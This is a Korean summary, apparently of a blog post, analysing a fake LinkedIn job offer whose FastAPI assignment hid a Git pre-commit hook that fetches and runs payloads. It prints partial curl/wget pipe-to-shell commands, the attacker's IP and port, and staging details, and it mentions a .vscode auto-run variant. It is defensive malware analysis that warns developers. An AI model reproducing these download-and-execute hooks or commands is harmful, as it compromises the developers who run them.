- LinkedIn에서 월 $10,000~15,000의 원격 Python 개발자 자리를 제안한 가짜 채용 담당자가 정상적인 FastAPI 과제로 위장한 ZIP 파일을 보내고, Git 작업 과정에서 악성코드가 설치되도록 구성함
- 저장소의
.git/hooks에는 운영체제별 원격 페이로드를 조용히 실행하는 pre-commit 훅이 숨겨져 있었고, 과제 PDF의 Git 작업은 지원자가 이를 실행하도록 유도하는 장치였음 - Linux 페이로드는
~/Documents에 2단계 스크립트를 내려받아nohup으로 실행한 뒤, Node.js와 의존성 및 난독화된parser.js를 설치해 백그라운드에서 구동함 - 요청의
id=402값을 바꾸면 다른 스크립트가 반환됐고,package.json에는 클립보드 접근용clipboardy와 Ethereum 개발 환경hardhat등이 포함됐지만 최종 목적은 확인되지 않음 - 공격자는 공개 FastAPI 저장소에 악성 디렉터리만 덧붙였으며, 다른 변종은 VSCode에서 폴더를 여는 것만으로 명령을 실행함. 외부 프로젝트를 다루기 전 숨김 디렉터리와 자동 실행 설정을 확인해야 함
지나치게 좋은 채용 제안
- LinkedIn으로 도착한 Python 개발자 채용 제안은 월 $10,000~15,000를 지급하는 원격 우선 계약직 후 정규직 전환 형태였음
- 면담도 하기 전에 높은 보수를 공개했고, 인도 기준으로 큰 금액이라는 점이 첫 번째 경고 신호가 됨
- 채용에 사용된 회사는 Y Combinator 스타트업으로 확인됐지만, 그 정도 예산을 쓰는 회사라면 일반적으로 더 체계적인 채용 절차를 갖췄을 것이라는 의심이 남았음
- 이력서를 보내자 곧바로 승인됐고, Google Drive를 통해 ZIP 아카이브와 과제 지침 PDF를 받음
- PDF는 기존 코드베이스 개선과 아키텍처 제안, Git 작업 등을 요구해 겉보기에는 정상적인 평가 문서에 가까웠음
FastAPI 프로젝트에 숨겨진 Git 훅
- 압축 파일에는 SQLAlchemy를 사용하는 평범한 FastAPI 백엔드가 들어 있었고,
requirements.txt에서도 타이포스쿼팅이나 명백한 악성 패키지가 발견되지 않음 - 숨김 항목을 확인하려고
tree -a를 실행하자.git/hooks아래에 여러 Git 훅이 미리 구성돼 있었음 pre-commit스크립트는uname -s로 운영체제를 판별한 뒤 같은 서버에서 플랫폼별 페이로드를 내려받아 실행함- macOS에서는
curl .../task/mac?id=402 | sh를 실행함 - Linux에서는
wget .../task/linux?id=402 | sh를 실행함 - Windows 계열에서는
curl .../task/windows?id=402 | cmd를 실행함
- macOS에서는
- 출력은 모두
/dev/null로 보내고 프로세스를 백그라운드로 돌려 실행 흔적을 사용자에게 감춤 - 도메인 대신
45.61.164.38:5777이라는 원시 IP 주소를 직접 사용해 악성 동작이 더 눈에 띄었음
Linux의 다단계 페이로드
- 첫 번째 Linux 스크립트는
~/Documents에tokenlinux.npl을 내려받고tokenlinux.sh로 이름을 바꾼 뒤 실행 권한을 부여함 - 이어
nohup bash로 스크립트를 백그라운드에서 실행해 터미널 종료나 로그아웃 후에도 프로세스가 계속 동작하도록 만듦 - 2단계 스크립트는 다음 작업을 조용히 수행함
- Node.js 설치 및 시스템 경로 구성
parser.js와package.json다운로드- 필요한 npm 의존성 설치
parser.js를nohup node로 실행하고 로그를parser.log에 기록
parser.js는 수동으로 분석하기 어려울 정도로 심하게 난독화돼 있었으며, 원본 파일은parser.js에 보존됨
피해자별 식별 가능성
- 엔드포인트에는
id=402매개변수가 반복해서 전달됐고, 이 값을 바꾸자 완전히 다른 스크립트가 반환됨 - 공격자가 지원자마다 고유 식별자를 할당해 맞춤형 페이로드를 제공했을 가능성이 있지만, 실제 추적 방식은 확인되지 않음
- 난독화 해제를 위해 여러 LLM에 코드를 입력했으나 결과가 엇갈림
- Claude는 안전 제한이 작동해 분석을 거부함
- Gemini는 스크립트 분석 결과를 제공함
tokenlinux.npl이라는 원래 확장자를 검색한 결과, 더 넓게 전개된 공격 캠페인과 관련됐음을 확인함
의심스러운 Node.js 의존성
package.json의 프로젝트 이름은tokendapp이었고hardhat,axios,basic-ftp,clipboardy,jsonwebtoken,ps-node,request등을 포함함- 백그라운드 설정 작업에 클립보드 접근용
clipboardy와 파일 시스템 관련 패키지가 왜 필요한지는 불분명했음 hardhat은 Ethereum 개발 환경이지만, Ethereum이 작업증명 방식에서 전환했기 때문에 일반적인 채굴 구성이라고 단정하기 어려움- 암호화폐 지갑을 찾거나 로컬 브라우저 확장 프로그램과 상호작용하려는 가능성도 검토했지만, 최종 악성 목적은 확인되지 않음
VSCode를 이용한 다른 변종
- 같은 공격의 다른 변종은 ZIP 파일 안에
.vscode폴더를 숨기고, 해당 디렉터리를 VSCode로 열 때 명령이 실행되도록 구성함 - 이 방식은 Git 명령이나 프로젝트 코드를 직접 실행하지 않아도 폴더를 여는 것만으로 감염될 수 있음
- 특정 회사가 공격에 직접 관여한 것이 아니라, 공격자가 발견한 회사 이름을 빌려 채용 제안을 합법적으로 보이게 만든 것으로 확인됨
공개 저장소를 재사용한 위장
git log에는 공격자가 만든 프로젝트가 아니라 기존 개발자들의 커밋 이력이 그대로 남아 있었음- 원본은 공개 저장소인
personal-finance-service였음 - 공격자는 정상적인 FastAPI 프로젝트를 복제한 뒤 악성 숨김 디렉터리만 덧붙여 과제용 코드베이스로 위장함
- 정상 코드와 깨끗한
requirements.txt만 검토하면 악성 동작을 놓칠 수 있는 구조였음
공격 서버 조사와 한계
- 공격 서버를 Nmap으로 스캔한 결과 열린 포트는 3개였고, 그중 2개는 버전 탐지에 응답하지 않음
- 22번 포트에서는 Ubuntu의 OpenSSH 9.6p1이 실행 중이었음
- 스캔 당시 해당 버전은 출시된 지 일주일 남짓이어서 활용 가능한 알려진 CVE를 찾지 못했고, 서버 내부로 조사를 확장하기 어려웠음
- 악성코드 배포 방식은 눈에 띄었지만 서버 운영 보안은 비교적 잘 유지돼 있었고, 이 지점에서 추적이 중단됨
Git 과제가 맡은 역할
- 과제 PDF의 Git 작업은 지원자가 최소 한 번 Git 명령을 수행하도록 유도해 사전 설치된 훅을 발동시키는 장치였음
- 가짜 채용 담당자는 공격이 발각됐다는 연락을 받은 직후 LinkedIn 계정을 삭제한 것으로 보임
- 낯선 프로젝트를 실행하거나 Git 명령을 수행하기 전에
tree -a같은 도구로.git,.vscode등 숨김 디렉터리와 자동 실행 설정을 확인해야 함